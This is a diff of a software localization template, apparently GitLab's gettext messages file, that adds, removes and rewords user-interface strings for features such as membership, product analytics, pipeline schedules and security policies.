msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
